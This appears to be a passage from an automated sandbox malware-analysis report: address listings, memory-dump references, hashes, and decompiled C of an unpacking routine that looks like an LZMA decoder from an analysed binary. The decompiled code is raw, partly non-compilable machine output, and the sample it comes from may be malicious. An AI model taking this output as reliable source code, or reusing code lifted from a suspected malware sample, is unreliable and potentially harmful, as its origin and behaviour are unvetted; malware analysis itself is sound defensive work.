                                                                                                        0x00406885
                                                                                                        0x00406888
                                                                                                        0x0040688e
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406890
                                                                                                        0x00406893
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406896
                                                                                                        0x00406899
                                                                                                        0x00406899
                                                                                                        0x0040689d
                                                                                                        0x004068fd
                                                                                                        0x00406900
                                                                                                        0x00406905
                                                                                                        0x00406906
                                                                                                        0x00406908
                                                                                                        0x0040690a
                                                                                                        0x0040690d
                                                                                                        0x00406819
                                                                                                        0x00406819
                                                                                                        0x00000000
                                                                                                        0x0040681f
                                                                                                        0x00406819
                                                                                                        0x0040689f
                                                                                                        0x004068a5
                                                                                                        0x004068a8
                                                                                                        0x004068ab
                                                                                                        0x004068ae
                                                                                                        0x004068b1
                                                                                                        0x004068b4
                                                                                                        0x004068b7
                                                                                                        0x004068ba
                                                                                                        0x004068bd
                                                                                                        0x004068c0
                                                                                                        0x004068d9
                                                                                                        0x004068dc
                                                                                                        0x004068df
                                                                                                        0x004068e2
                                                                                                        0x004068e6
                                                                                                        0x004068e8
                                                                                                        0x004068e8
                                                                                                        0x004068e9
                                                                                                        0x004068ec
                                                                                                        0x004068c2
                                                                                                        0x004068c2
                                                                                                        0x004068ca
                                                                                                        0x004068cf
                                                                                                        0x004068d1
                                                                                                        0x004068d4
                                                                                                        0x004068d4
                                                                                                        0x004068ef
                                                                                                        0x004068f6
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x004068f8
                                                                                                        0x00000000
                                                                                                        0x00406594
                                                                                                        0x00406597
                                                                                                        0x004065cd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x004066fd
                                                                                                        0x00406700
                                                                                                        0x00406700
                                                                                                        0x00406703
                                                                                                        0x00406705
                                                                                                        0x0040698f
                                                                                                        0x00000000
                                                                                                        0x0040698f
                                                                                                        0x0040670b
                                                                                                        0x0040670e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406714
                                                                                                        0x00406718
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x0040671b
                                                                                                        0x00000000
                                                                                                        0x0040671b
                                                                                                        0x00406599
                                                                                                        0x0040659b
                                                                                                        0x0040659d
                                                                                                        0x0040659f
                                                                                                        0x004065a2
                                                                                                        0x004065a3
                                                                                                        0x004065a5
                                                                                                        0x004065a7
                                                                                                        0x004065aa
                                                                                                        0x004065ad
                                                                                                        0x004065c3
                                                                                                        0x004065c8
                                                                                                        0x00406600
                                                                                                        0x00406600
                                                                                                        0x00406604
                                                                                                        0x00406630
                                                                                                        0x00406632
                                                                                                        0x00406639
                                                                                                        0x0040663c
                                                                                                        0x0040663f
                                                                                                        0x0040663f
                                                                                                        0x00406644
                                                                                                        0x00406644
                                                                                                        0x00406646
                                                                                                        0x00406649
                                                                                                        0x00406650
                                                                                                        0x00406653
                                                                                                        0x00406680
                                                                                                        0x00406680
                                                                                                        0x00406683
                                                                                                        0x00406686
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x004066fa
                                                                                                        0x00000000
                                                                                                        0x004066fa
                                                                                                        0x00406688
                                                                                                        0x0040668e
                                                                                                        0x00406691
                                                                                                        0x00406694
                                                                                                        0x00406697
                                                                                                        0x0040669a
                                                                                                        0x0040669d
                                                                                                        0x004066a0
                                                                                                        0x004066a3
                                                                                                        0x004066a6
                                                                                                        0x004066a9
                                                                                                        0x004066c2
                                                                                                        0x004066c4
                                                                                                        0x004066c7
                                                                                                        0x004066c8
                                                                                                        0x004066cb
                                                                                                        0x004066cd
                                                                                                        0x004066d0
                                                                                                        0x004066d2
                                                                                                        0x004066d4
                                                                                                        0x004066d7
                                                                                                        0x004066d9
                                                                                                        0x004066dc
                                                                                                        0x004066e0
                                                                                                        0x004066e2
                                                                                                        0x004066e2
                                                                                                        0x004066e3
                                                                                                        0x004066e6
                                                                                                        0x004066e9
                                                                                                        0x004066ab
                                                                                                        0x004066ab
                                                                                                        0x004066b3
                                                                                                        0x004066b8
                                                                                                        0x004066ba
                                                                                                        0x004066bd
                                                                                                        0x004066bd
                                                                                                        0x004066ec
                                                                                                        0x004066f3
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x0040667d
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x00000000
                                                                                                        0x004066f5
                                                                                                        0x004066f3
                                                                                                        0x00406606
                                                                                                        0x00406609
                                                                                                        0x0040660b
                                                                                                        0x0040660e
                                                                                                        0x00406611
                                                                                                        0x00406614
                                                                                                        0x00406616
                                                                                                        0x00406619
                                                                                                        0x0040661c
                                                                                                        0x0040661c
                                                                                                        0x0040661f
                                                                                                        0x0040661f
                                                                                                        0x00406622
                                                                                                        0x00406629
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x004065fd
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00000000
                                                                                                        0x0040662b
                                                                                                        0x00406629
                                                                                                        0x004065af
                                                                                                        0x004065b2
                                                                                                        0x004065b4
                                                                                                        0x004065b7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406316
                                                                                                        0x00406316
                                                                                                        0x0040631a
                                                                                                        0x0040695f
                                                                                                        0x00000000
                                                                                                        0x0040695f
                                                                                                        0x00406320
                                                                                                        0x00406323
                                                                                                        0x00406326
                                                                                                        0x00406329
                                                                                                        0x0040632c
                                                                                                        0x0040632f
                                                                                                        0x00406332
                                                                                                        0x00406334
                                                                                                        0x00406337
                                                                                                        0x0040633a
                                                                                                        0x0040633d
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x0040633f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x004064a1
                                                                                                        0x004064a1
                                                                                                        0x004064a5
                                                                                                        0x0040696b
                                                                                                        0x00000000
                                                                                                        0x0040696b
                                                                                                        0x004064ab
                                                                                                        0x004064ae
                                                                                                        0x004064b1
                                                                                                        0x004064b4
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b6
                                                                                                        0x004064b9
                                                                                                        0x004064bc
                                                                                                        0x004064bf
                                                                                                        0x004064c2
                                                                                                        0x004064c5
                                                                                                        0x004064c8
                                                                                                        0x004064c9
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064cb
                                                                                                        0x004064ce
                                                                                                        0x004064d1
                                                                                                        0x004064d4
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064d7
                                                                                                        0x004064da
                                                                                                        0x004064dc
                                                                                                        0x004064dc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x0040671e
                                                                                                        0x00406722
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00406728
                                                                                                        0x0040672b
                                                                                                        0x0040672e
                                                                                                        0x00406731
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406733
                                                                                                        0x00406736
                                                                                                        0x00406739
                                                                                                        0x0040673c
                                                                                                        0x0040673f
                                                                                                        0x00406742
                                                                                                        0x00406745
                                                                                                        0x00406746
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x00406748
                                                                                                        0x0040674b
                                                                                                        0x0040674e
                                                                                                        0x00406751
                                                                                                        0x00406754
                                                                                                        0x00406757
                                                                                                        0x0040675b
                                                                                                        0x0040675d
                                                                                                        0x00406760
                                                                                                        0x00000000
                                                                                                        0x00406762
                                                                                                        0x004064df
                                                                                                        0x004064df
                                                                                                        0x00000000
                                                                                                        0x004064df
                                                                                                        0x00406760
                                                                                                        0x00406995
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00405fc4
                                                                                                        0x004069cc
                                                                                                        0x004069cc
                                                                                                        0x00000000
                                                                                                        0x004069cc
                                                                                                        0x00406819
                                                                                                        0x004067a0
                                                                                                        0x0040679d
                                                                                                        0x00000000
                                                                                                        0x004063d4

                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID:
                                                                                                        • API String ID:
                                                                                                        • Opcode ID: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
                                                                                                        • Instruction ID: 235c9a1f152390887c8e3346b3cf8cf745e7d176c25095dba4735a56a8f4339d
                                                                                                        • Opcode Fuzzy Hash: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
                                                                                                        • Instruction Fuzzy Hash: 80714371D00229CBDF28CFA8C8447ADBBF1FB48305F15806AD846BB281D7395A96DF54
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 98%
                                                                                                        			E004064EE() {
                                                                                                        				unsigned short _t531;
                                                                                                        				signed int _t532;
                                                                                                        				void _t533;
                                                                                                        				signed int _t534;
                                                                                                        				signed int _t535;
                                                                                                        				signed int _t565;
                                                                                                        				signed int _t568;
                                                                                                        				signed int _t589;
                                                                                                        				signed int* _t606;
                                                                                                        				void* _t613;
                                                                                                        
                                                                                                        				L0:
                                                                                                        				while(1) {
                                                                                                        					L0:
                                                                                                        					if( *(_t613 - 0x40) != 0) {
                                                                                                        						 *(_t613 - 0x84) = 0xb;
                                                                                                        						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
                                                                                                        						goto L132;
                                                                                                        					} else {
                                                                                                        						__eax =  *(__ebp - 0x28);
                                                                                                        						L88:
                                                                                                        						 *(__ebp - 0x2c) = __eax;
                                                                                                        						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        						L89:
                                                                                                        						__eax =  *(__ebp - 4);
                                                                                                        						 *(__ebp - 0x80) = 0x15;
                                                                                                        						__eax =  *(__ebp - 4) + 0xa68;
                                                                                                        						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                                                                                        						L69:
                                                                                                        						 *(__ebp - 0x84) = 0x12;
                                                                                                        						while(1) {
                                                                                                        							L132:
                                                                                                        							 *(_t613 - 0x54) = _t606;
                                                                                                        							while(1) {
                                                                                                        								L133:
                                                                                                        								_t531 =  *_t606;
                                                                                                        								_t589 = _t531 & 0x0000ffff;
                                                                                                        								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                                        								if( *(_t613 - 0xc) >= _t565) {
                                                                                                        									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                                        									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                                        									 *(_t613 - 0x40) = 1;
                                                                                                        									_t532 = _t531 - (_t531 >> 5);
                                                                                                        									 *_t606 = _t532;
                                                                                                        								} else {
                                                                                                        									 *(_t613 - 0x10) = _t565;
                                                                                                        									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                                        									 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                                                                        								}
                                                                                                        								if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                                        									goto L139;
                                                                                                        								}
                                                                                                        								L137:
                                                                                                        								if( *(_t613 - 0x6c) == 0) {
                                                                                                        									 *(_t613 - 0x88) = 5;
                                                                                                        									L170:
                                                                                                        									_t568 = 0x22;
                                                                                                        									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
                                                                                                        									_t535 = 0;
                                                                                                        									L172:
                                                                                                        									return _t535;
                                                                                                        								}
                                                                                                        								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
                                                                                                        								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                                        								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                                        								L139:
                                                                                                        								_t533 =  *(_t613 - 0x84);
                                                                                                        								while(1) {
                                                                                                        									 *(_t613 - 0x88) = _t533;
                                                                                                        									while(1) {
                                                                                                        										L1:
                                                                                                        										_t534 =  *(_t613 - 0x88);
                                                                                                        										if(_t534 > 0x1c) {
                                                                                                        											break;
                                                                                                        										}
                                                                                                        										switch( *((intOrPtr*)(_t534 * 4 +  &M004069D4))) {
                                                                                                        											case 0:
                                                                                                        												if( *(_t613 - 0x6c) == 0) {
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                                        												_t534 =  *( *(_t613 - 0x70));
                                                                                                        												if(_t534 > 0xe1) {
                                                                                                        													goto L171;
                                                                                                        												}
                                                                                                        												_t538 = _t534 & 0x000000ff;
                                                                                                        												_push(0x2d);
                                                                                                        												asm("cdq");
                                                                                                        												_pop(_t570);
                                                                                                        												_push(9);
                                                                                                        												_pop(_t571);
                                                                                                        												_t609 = _t538 / _t570;
                                                                                                        												_t540 = _t538 % _t570 & 0x000000ff;
                                                                                                        												asm("cdq");
                                                                                                        												_t604 = _t540 % _t571 & 0x000000ff;
                                                                                                        												 *(_t613 - 0x3c) = _t604;
                                                                                                        												 *(_t613 - 0x1c) = (1 << _t609) - 1;
                                                                                                        												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
                                                                                                        												_t612 = (0x300 << _t604 + _t609) + 0x736;
                                                                                                        												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
                                                                                                        													L10:
                                                                                                        													if(_t612 == 0) {
                                                                                                        														L12:
                                                                                                        														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
                                                                                                        														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                                        														goto L15;
                                                                                                        													} else {
                                                                                                        														goto L11;
                                                                                                        													}
                                                                                                        													do {
                                                                                                        														L11:
                                                                                                        														_t612 = _t612 - 1;
                                                                                                        														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
                                                                                                        													} while (_t612 != 0);
                                                                                                        													goto L12;
                                                                                                        												}
                                                                                                        												if( *(_t613 - 4) != 0) {
                                                                                                        													GlobalFree( *(_t613 - 4));
                                                                                                        												}
                                                                                                        												_t534 = GlobalAlloc(0x40, 0x600); // executed
                                                                                                        												 *(_t613 - 4) = _t534;
                                                                                                        												if(_t534 == 0) {
                                                                                                        													goto L171;
                                                                                                        												} else {
                                                                                                        													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
                                                                                                        													goto L10;
                                                                                                        												}
                                                                                                        											case 1:
                                                                                                        												L13:
                                                                                                        												__eflags =  *(_t613 - 0x6c);
                                                                                                        												if( *(_t613 - 0x6c) == 0) {
                                                                                                        													 *(_t613 - 0x88) = 1;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
                                                                                                        												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
                                                                                                        												_t45 = _t613 - 0x48;
                                                                                                        												 *_t45 =  *(_t613 - 0x48) + 1;
                                                                                                        												__eflags =  *_t45;
                                                                                                        												L15:
                                                                                                        												if( *(_t613 - 0x48) < 4) {
                                                                                                        													goto L13;
                                                                                                        												}
                                                                                                        												_t546 =  *(_t613 - 0x40);
                                                                                                        												if(_t546 ==  *(_t613 - 0x74)) {
                                                                                                        													L20:
                                                                                                        													 *(_t613 - 0x48) = 5;
                                                                                                        													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
                                                                                                        													goto L23;
                                                                                                        												}
                                                                                                        												 *(_t613 - 0x74) = _t546;
                                                                                                        												if( *(_t613 - 8) != 0) {
                                                                                                        													GlobalFree( *(_t613 - 8));
                                                                                                        												}
                                                                                                        												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
                                                                                                        												 *(_t613 - 8) = _t534;
                                                                                                        												if(_t534 == 0) {
                                                                                                        													goto L171;
                                                                                                        												} else {
                                                                                                        													goto L20;
                                                                                                        												}
                                                                                                        											case 2:
                                                                                                        												L24:
                                                                                                        												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
                                                                                                        												 *(_t613 - 0x84) = 6;
                                                                                                        												 *(_t613 - 0x4c) = _t553;
                                                                                                        												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
                                                                                                        												L132:
                                                                                                        												 *(_t613 - 0x54) = _t606;
                                                                                                        												goto L133;
                                                                                                        											case 3:
                                                                                                        												L21:
                                                                                                        												__eflags =  *(_t613 - 0x6c);
                                                                                                        												if( *(_t613 - 0x6c) == 0) {
                                                                                                        													 *(_t613 - 0x88) = 3;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
                                                                                                        												_t67 = _t613 - 0x70;
                                                                                                        												 *_t67 =  &(( *(_t613 - 0x70))[1]);
                                                                                                        												__eflags =  *_t67;
                                                                                                        												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
                                                                                                        												L23:
                                                                                                        												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
                                                                                                        												if( *(_t613 - 0x48) != 0) {
                                                                                                        													goto L21;
                                                                                                        												}
                                                                                                        												goto L24;
                                                                                                        											case 4:
                                                                                                        												L133:
                                                                                                        												_t531 =  *_t606;
                                                                                                        												_t589 = _t531 & 0x0000ffff;
                                                                                                        												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
                                                                                                        												if( *(_t613 - 0xc) >= _t565) {
                                                                                                        													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
                                                                                                        													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
                                                                                                        													 *(_t613 - 0x40) = 1;
                                                                                                        													_t532 = _t531 - (_t531 >> 5);
                                                                                                        													 *_t606 = _t532;
                                                                                                        												} else {
                                                                                                        													 *(_t613 - 0x10) = _t565;
                                                                                                        													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
                                                                                                        													 *_t606 = (0x800 - _t589 >> 5) + _t531;
                                                                                                        												}
                                                                                                        												if( *(_t613 - 0x10) >= 0x1000000) {
                                                                                                        													goto L139;
                                                                                                        												}
                                                                                                        											case 5:
                                                                                                        												goto L137;
                                                                                                        											case 6:
                                                                                                        												__edx = 0;
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													__eax =  *(__ebp - 4);
                                                                                                        													__ecx =  *(__ebp - 0x38);
                                                                                                        													 *(__ebp - 0x34) = 1;
                                                                                                        													 *(__ebp - 0x84) = 7;
                                                                                                        													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
                                                                                                        													while(1) {
                                                                                                        														L132:
                                                                                                        														 *(_t613 - 0x54) = _t606;
                                                                                                        														goto L133;
                                                                                                        													}
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 0x5c) & 0x000000ff;
                                                                                                        												__esi =  *(__ebp - 0x60);
                                                                                                        												__cl = 8;
                                                                                                        												__cl = 8 -  *(__ebp - 0x3c);
                                                                                                        												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
                                                                                                        												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
                                                                                                        												__ecx =  *(__ebp - 0x3c);
                                                                                                        												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
                                                                                                        												__ecx =  *(__ebp - 4);
                                                                                                        												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
                                                                                                        												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
                                                                                                        												__eflags =  *(__ebp - 0x38) - 4;
                                                                                                        												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
                                                                                                        												if( *(__ebp - 0x38) >= 4) {
                                                                                                        													__eflags =  *(__ebp - 0x38) - 0xa;
                                                                                                        													if( *(__ebp - 0x38) >= 0xa) {
                                                                                                        														_t98 = __ebp - 0x38;
                                                                                                        														 *_t98 =  *(__ebp - 0x38) - 6;
                                                                                                        														__eflags =  *_t98;
                                                                                                        													} else {
                                                                                                        														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
                                                                                                        													}
                                                                                                        												} else {
                                                                                                        													 *(__ebp - 0x38) = 0;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x34) - __edx;
                                                                                                        												if( *(__ebp - 0x34) == __edx) {
                                                                                                        													__ebx = 0;
                                                                                                        													__ebx = 1;
                                                                                                        													goto L61;
                                                                                                        												} else {
                                                                                                        													__eax =  *(__ebp - 0x14);
                                                                                                        													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                                                                                        													__eflags = __eax -  *(__ebp - 0x74);
                                                                                                        													if(__eax >=  *(__ebp - 0x74)) {
                                                                                                        														__eax = __eax +  *(__ebp - 0x74);
                                                                                                        														__eflags = __eax;
                                                                                                        													}
                                                                                                        													__ecx =  *(__ebp - 8);
                                                                                                        													__ebx = 0;
                                                                                                        													__ebx = 1;
                                                                                                        													__al =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
                                                                                                        													goto L41;
                                                                                                        												}
                                                                                                        											case 7:
                                                                                                        												__eflags =  *(__ebp - 0x40) - 1;
                                                                                                        												if( *(__ebp - 0x40) != 1) {
                                                                                                        													__eax =  *(__ebp - 0x24);
                                                                                                        													 *(__ebp - 0x80) = 0x16;
                                                                                                        													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        													__eax =  *(__ebp - 0x28);
                                                                                                        													 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        													__eax =  *(__ebp - 0x2c);
                                                                                                        													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                                                                                        													__eax = 0;
                                                                                                        													__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                                                                                        													__al = __al & 0x000000fd;
                                                                                                        													__eax = (__eflags >= 0) - 1 + 0xa;
                                                                                                        													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                                                                                        													__eax =  *(__ebp - 4);
                                                                                                        													__eax =  *(__ebp - 4) + 0x664;
                                                                                                        													__eflags = __eax;
                                                                                                        													 *(__ebp - 0x58) = __eax;
                                                                                                        													goto L69;
                                                                                                        												}
                                                                                                        												__eax =  *(__ebp - 4);
                                                                                                        												__ecx =  *(__ebp - 0x38);
                                                                                                        												 *(__ebp - 0x84) = 8;
                                                                                                        												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                                                                                        												while(1) {
                                                                                                        													L132:
                                                                                                        													 *(_t613 - 0x54) = _t606;
                                                                                                        													goto L133;
                                                                                                        												}
                                                                                                        											case 8:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													__eax =  *(__ebp - 4);
                                                                                                        													__ecx =  *(__ebp - 0x38);
                                                                                                        													 *(__ebp - 0x84) = 0xa;
                                                                                                        													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                                                                                        												} else {
                                                                                                        													__eax =  *(__ebp - 0x38);
                                                                                                        													__ecx =  *(__ebp - 4);
                                                                                                        													__eax =  *(__ebp - 0x38) + 0xf;
                                                                                                        													 *(__ebp - 0x84) = 9;
                                                                                                        													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                                                                                        													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                                                                                        												}
                                                                                                        												while(1) {
                                                                                                        													L132:
                                                                                                        													 *(_t613 - 0x54) = _t606;
                                                                                                        													goto L133;
                                                                                                        												}
                                                                                                        											case 9:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													goto L89;
                                                                                                        												}
                                                                                                        												__eflags =  *(__ebp - 0x60);
                                                                                                        												if( *(__ebp - 0x60) == 0) {
                                                                                                        													goto L171;
                                                                                                        												}
                                                                                                        												__eax = 0;
                                                                                                        												__eflags =  *(__ebp - 0x38) - 7;
                                                                                                        												_t259 =  *(__ebp - 0x38) - 7 >= 0;
                                                                                                        												__eflags = _t259;
                                                                                                        												0 | _t259 = _t259 + _t259 + 9;
                                                                                                        												 *(__ebp - 0x38) = _t259 + _t259 + 9;
                                                                                                        												goto L76;
                                                                                                        											case 0xa:
                                                                                                        												goto L0;
                                                                                                        											case 0xb:
                                                                                                        												__eflags =  *(__ebp - 0x40);
                                                                                                        												if( *(__ebp - 0x40) != 0) {
                                                                                                        													__ecx =  *(__ebp - 0x24);
                                                                                                        													__eax =  *(__ebp - 0x20);
                                                                                                        													 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                                                                                        												} else {
                                                                                                        													__eax =  *(__ebp - 0x24);
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x28);
                                                                                                        												 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                                                                                        												goto L88;
                                                                                                        											case 0xc:
                                                                                                        												L99:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0xc;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t334 = __ebp - 0x70;
                                                                                                        												 *_t334 =  *(__ebp - 0x70) + 1;
                                                                                                        												__eflags =  *_t334;
                                                                                                        												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												__eax =  *(__ebp - 0x2c);
                                                                                                        												goto L101;
                                                                                                        											case 0xd:
                                                                                                        												L37:
                                                                                                        												__eflags =  *(__ebp - 0x6c);
                                                                                                        												if( *(__ebp - 0x6c) == 0) {
                                                                                                        													 *(__ebp - 0x88) = 0xd;
                                                                                                        													goto L170;
                                                                                                        												}
                                                                                                        												__ecx =  *(__ebp - 0x70);
                                                                                                        												__eax =  *(__ebp - 0xc);
                                                                                                        												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                                                                                        												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                                                                                        												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                                                                                        												_t122 = __ebp - 0x70;
